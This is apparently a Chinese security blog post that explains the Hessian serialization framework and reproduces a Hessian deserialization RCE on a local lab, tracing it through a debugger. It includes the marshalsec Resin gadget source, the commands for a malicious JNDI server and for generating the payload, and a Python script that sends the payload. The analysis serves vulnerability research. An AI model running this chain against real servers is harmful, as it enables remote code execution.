0x01 Hessian简介

Hessian是一个轻量级的remoting onhttp工具,是一个轻量级的Java序列化/反序列化框架,使用简单的方法提供了RMI的功能。 相比WebService,Hessian更简单、快捷。采用的是二进制RPC协议,因为采用的是二进制协议,所以它很适合于发送二进制数据。

Hessian序列化/反序列化机制的基本概念图如下:

  • AbstractSerializerFactory:抽象序列化器工厂,是管理和维护对应序列化/反序列化机制的工厂,拥有getSerializer()和getDeserializer()方法。默认的几种实现如下:
    • SerializerFactory:标准的实现。
    • ExtSerializerFactory:可以设置自定义的序列化机制,通过该Factory可以进行扩展。
    • BeanSerializerFactory:对SerializerFactory的默认Object的序列化机制进行强制指定,指定为BeanSerializer。
  • Serializer:序列化的接口,拥有writeObject()方法。
  • Deserializer:反序列化的接口,拥有readObject()、resdMap()、readList()方法。
  • AbstractHessianInput:Hessian自定义的输入流,提供对应的read各种类型的方法。
  • AbstractHessianOutput:Hessian自定义的输出流,提供对应的write各种类型的方法。

在Hessian的Serializer中,有以下几种默认实现的序列化器:

在Hessian的Deserializer中,有以下几种默认实现的反序列化器:

这里我们关注到MapDeserializer这个反序列化器即可,其在后面的反序列化漏洞利用中应用到。

0x02 Hessian反序列化漏洞

和Java原生的序列化对比,Hessian更加高效并且非常适合二进制数据传输。既然是一个序列化/反序列化框架,Hessian同样存在反序列化漏洞的问题。

对于Hessian反序列化漏洞的利用,使用ysoserial工具的Gadget是无法成功的,而是要用marshalsec工具的Gadget。这是因为ysoserial是针对Java原生反序列化漏洞的,并没有一些如Hessian等非Java原生反序列化漏洞的Gadgets。

marshalsec工具项目如下:https://github.com/mbechler/marshalsec

针对Hessian反序列化过程进行攻击,就需要使用特殊的Gadget,在marshalsec这个工具里,已经有了5个可用的Gadgets。分别是:

  • Rome
  • XBean
  • Resin
  • SpringPartiallyComparableAdvisorHolder
  • SpringAbstractBeanFactoryPointcutAdvisor

复现——Resin Gadget

Hessian环境搭建按照参考文章很方便就搞好。

和JNDI注入时一样,现在要搭建恶意的JNDI服务端,这里直接用JNDI注入利用工具项目而不用像之前一样自己写服务端代码:https://github.com/welk1n/JNDI-Injection-Exploit

使用方法如下,-C参数为需要执行的命令,-A参数为监听地址:

1
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]

这里我们用直接启动就行,可以看到是有三个不同的服务端对应不同的端口:

直接用marshalsec来生成payload,这里地址指定为JettyServer并在指定恶意执行类为ExecTemplateJDK7:

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian Resin http://127.0.0.1:8180/ ExecTemplateJDK7>hessian

最后就是编写序列化的payload发送到服务器,这里直接看下原作者的脚本是怎么写的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
h#!/usr/bin/env python
# coding=utf-8
# code by 21superman
# Date 2018年12月28日
import requests
import argparse

def load(name):
header=b'\x63\x02\x00\x48\x00\x04'+'test'
with open(name,'rb') as f:
return header+f.read()

def send(url,payload):
#proxies = {'http':'127.0.0.1:8888'}
headers={'Content-Type':'x-application/hessian'}
data=payload
res=requests.post(url,headers=headers,data=data)
return res.text

def main():
parser = argparse.ArgumentParser()
parser.add_argument("-u", help="hessian site url eg.http://127.0.0.1:8080/HessianTest/hessian")
parser.add_argument("-p",help="payload file")
args = parser.parse_args()
if args.u==None or args.p==None:
print('eg. python hessian.py -u http://127.0.0.1:8080/HessianTest/hessian -p hessian')
else:
send(args.u, load(args.p))
if __name__ == '__main__':
main()
#load('hessian')

先是将marshalsec生成的payload和构造的header拼接成Hessian格式的序列化内容,然后通过POST方式发送该Hessian序列化的内容,其中需要指定Content-Type头为’x-application/hessian’让服务端识别出事Hessian序列化类型的数据。

运行脚本,成功触发反序列化漏洞:

1
python hessian.py -u http://127.0.0.1:8080/HessianTest/hessian -p hessian

Resin Gadget分析

调试分析之前,我们需要知道marshalsec中Resin Gadget到底是如何触发反序列化漏洞RCE的。

我们看下Gadget怎么写的:https://github.com/mbechler/marshalsec/blob/master/src/main/java/marshalsec/gadgets/Resin.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
package marshalsec.gadgets;


import java.lang.reflect.Constructor;
import java.util.Hashtable;

import javax.naming.CannotProceedException;
import javax.naming.Reference;
import javax.naming.directory.DirContext;

import com.caucho.naming.QName;

import marshalsec.MarshallerBase;
import marshalsec.UtilFactory;
import marshalsec.util.Reflections;


/**
* @author mbechler
*
*/
public interface Resin extends Gadget {

@Args ( minArgs = 2, args = {
"codebase", "class"
}, defaultArgs = {
MarshallerBase.defaultCodebase, MarshallerBase.defaultCodebaseClass
} )
default Object makeResinQName ( UtilFactory uf, String[] args ) throws Exception {

Class<?> ccCl = Class.forName("javax.naming.spi.ContinuationDirContext"); //$NON-NLS-1$
Constructor<?> ccCons = ccCl.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);
ccCons.setAccessible(true);
CannotProceedException cpe = new CannotProceedException();
Reflections.setFieldValue(cpe, "cause", null);
Reflections.setFieldValue(cpe, "stackTrace", null);

cpe.setResolvedObj(new Reference("Foo", args[ 1 ], args[ 0 ]));

Reflections.setFieldValue(cpe, "suppressedExceptions", null);
DirContext ctx = (DirContext) ccCons.newInstance(cpe, new Hashtable<>());
QName qName = new QName(ctx, "foo", "bar");
return uf.makeToStringTriggerStable(qName);
}
}

分析可知:

  1. 先定义了javax.naming.spi.ContinuationDirContext类实例,然后调用getDeclaredConstructor()函数生成CannotProceedException类和Hashtable类的结构体实例,用于构造后面的DirContext类实例并通过构造函数赋值给QName类实例的_context属性。
  2. 然后定义了一个CannotProceedException类变量cpe,该类用于程序出现异常时通过调用javax.naming.spi.NamingManager提供的方法(比如 getContinuationContext())来查找另一个提供程序以继续操作;这里调用了setResolvedObj()函数设置此异常的已解析对象字段为恶意的Reference类实例,可以看到是Reference()的classFactoryLocation参数的JNDI注入利用,注意该Reference最后是传入到QName构造函数的第一个参数中。
  3. 接着,将设置好的cpe传入DirContext的newInstance()函数中新建实例。
  4. 最后定义了com.caucho.naming.QName这个类实例,再调用makeToStringTriggerStable()函数处理该对象并返回。

接着跟踪makeToStringTriggerStable()函数的实现,根本是调用的ToStringUtil.makeToStringTrigger()函数:

1
2
3
4
5
public static Object makeToStringTrigger ( Object o ) throws Exception {
String unhash = unhash(o.hashCode());
XString xString = new XString(unhash);
return JDKUtil.makeMap(o, xString);
}

分析可知,用到了com.sun.org.apache.xpath.internal.objects.XString这个类来和QName对象生成并返回一个Map对象。使用这个处理的目的是为了调用到QName.toString()函数。

最后我们看下com.caucho.naming.QName类的toString()函数:

在toString()函数中,QName类的_context属性调用了composeName()函数。我们Gadget打进去后该属性类型为ContinuationDirContext,其中的cpe为CannotProceedException类实例,在调用到此处时会触发NamingException异常,此时会调用javax.naming.spi.NamingManager.getObjectFactoryFromReference()函数去加载Reference指定地址的服务,最后就是lookup(),从而导致RCE。

调试分析

这里使用IDEA对Tomcat的war包进行远程调试。

由于在Windows本地运行的Tomcat,因此打开Tomcat的配置文件catalina.bat添加如下配置再重启Tomcat即可开启远程调试的端口:

1
set CATALINA_OPTS="-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5555"

接着本地解压war包并用IDEA打开,然后使用Remote远程连接到Tomcat后,当显示”Connected to the target VM, address: ‘localhost:5555’, transport: ‘socket’”时表示成功,即可开始远程调试。

我们从配置文件web.xml开始看,这里有个URL的匹配路径/hessian,也就是刚刚我们访问的那个接口,可以看到其对应的是HessianServlet这个类:

跟进该类,直接在service()函数中下断点,然后浏览器再次访问http://127.0.0.1:8080/HessianTest/hessian页面即可停在断点处:

可以看到,这个接口需要POST方式来传数据,否则直接返回500。

重新发送payload,往下调试,看到会获取request请求中的输入流,然后调用invoke()函数:

跟下去,在invoke()函数中会调用相关函数读取头类型,并在下面的switch语句中匹配符合条件的头类型进入不同的逻辑,这里获取到的头类型是CALL_1_REPLY_2,则调用createHessianInput()函数创建Hessian输入流和输出流:

接着会判断序列化器工厂是否为空,这里为非空则设置到Hessian的输入流和输出流,然后调用invoke():

跟进去这个invoke()函数,这里循环遍历读入header头,若header存在则调用Hessian输入流的readObject(),这里读取到了python脚本构造的名为test的Hessian头:

跟进去HessianInput.readObject()函数中,其中先获取tag值为77即’M’,然后匹配到对应的switch语句中调用readMap()函数:

跟进SerializerFactory.readMap()函数中,由于type为空且已经存在HashMap反序列化器,因此会调用MapDeserializer的readMap()函数继续解析序列化的Map内容:

跟进去MapDeserializer.readMap()函数,先新建一个HashMap实例,然后循环遍历HessianInput的内容,将其中的键值都进行readObject()操作然后再put进该新建的HashMap实例中:

这里readObject()处理过程也是一样的,简单地说就是获取序列化内容的类类型、属性值等(这里为反序列化获取com.caucho.naming.QName类及其属性值等,具体过程可自行调试下)。此处下断点然后F8过两次就能直接触发弹计算器了。

HashMap.put()函数中会调用hash(key)来计算对象的hash,然后再调用putVal()来设置HashMap的值:

这里hash(key)实际上就是调用的QName的hashCode(),在我本地调试的时候就出触发一次弹计算器(其实在获取了QName的_items属性后,只要在本地调试调用到QName的函数都会弹计算器,原因应该就是QName的_context属性中的cpe是个CannotProceedException类,会一直触发异常导致提前RCE):

在第二次调用到HashMap.put()函数时,此时调用了XString的equals()函数:

在XString.equals()函数中,调用了QName.toString()函数:

调用到QName.toString()函数,这里才是真正的漏洞触发点,我们由前面知道marshalsec工具的Resin Gadget中QName类对象的_context属性的cpe是被设置为CannotProceedException类,该属性在调用composeName()函数时会捕获到NamingException异常,此时会调用javax.naming.spi.NamingManager的getContext()函数来查找另一个提供程序即恶意Reference来继续执行操作,从而触发RCE:

此时我们打开看下NamingException类实例即变量e中的stackTrace,验证了前面的分析,即QName.toString()中的漏洞点是在composeName()调用中,这里由于NamingException异常导致调用了NamingManager.getContext()来查找另一个程序继续执行,这其中有调用了NamingManager.getObjectFactoryFromReference()函数来加载payload中设置的恶意Reference地址指向的服务上的类,从而导致RCE:

此时的函数调用栈如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
toString:346, QName (com.caucho.naming)
equals:392, XString (com.sun.org.apache.xpath.internal.objects)
putVal:634, HashMap (java.util)
put:611, HashMap (java.util)
readMap:114, MapDeserializer (com.caucho.hessian.io)
readMap:573, SerializerFactory (com.caucho.hessian.io)
readObject:1160, HessianInput (com.caucho.hessian.io)
invoke:240, HessianSkeleton (com.caucho.hessian.server)
invoke:198, HessianSkeleton (com.caucho.hessian.server)
invoke:425, HessianServlet (com.caucho.hessian.server)
service:405, HessianServlet (com.caucho.hessian.server)
internalDoFilter:231, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilter:52, WsFilter (org.apache.tomcat.websocket.server)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
invoke:199, StandardWrapperValve (org.apache.catalina.core)
invoke:96, StandardContextValve (org.apache.catalina.core)
invoke:543, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:139, StandardHostValve (org.apache.catalina.core)
invoke:81, ErrorReportValve (org.apache.catalina.valves)
invoke:678, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:87, StandardEngineValve (org.apache.catalina.core)
service:343, CoyoteAdapter (org.apache.catalina.connector)
service:609, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:810, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1623, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:745, Thread (java.lang)

0x03 参考

Hessian反序列化RCE漏洞复现及分析

SOFA-Hessian反序列漏洞

Java Unmarshalling Security - 攻击Hessian协议